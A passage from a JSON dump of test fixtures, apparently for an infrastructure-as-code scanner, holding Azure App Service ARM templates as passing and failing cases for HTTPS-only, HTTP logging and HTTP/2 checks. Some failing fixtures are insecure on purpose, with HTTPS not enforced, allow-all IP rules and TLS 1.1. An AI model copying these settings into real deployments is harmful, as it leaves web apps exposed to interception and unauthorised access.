variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        },\n        \"clientCertEnabled\": false,\n        \"httpsOnly\": false\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        },\n        \"clientCertEnabled\": true,\n        \"httpsOnly\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        },\n        \"clientCertEnabled\": \"true\",\n        \"httpsOnly\": \"true\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttpLoggingEnabled/AppServiceHttpLoggingEnabled-failed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": false,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": false,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureBlob\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttpLoggingEnabled/AppServiceHttpLoggingEnabled-failed2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed2\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureBlob\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttpLoggingEnabled/AppServiceHttpLoggingEnabled-passed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"passed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": true,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"default\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"disabled\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": false,\n          \"minTlsVersion\": \"1.1\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHttps20Enabled/appServiceHttps20Enabled-FAILED3.json",
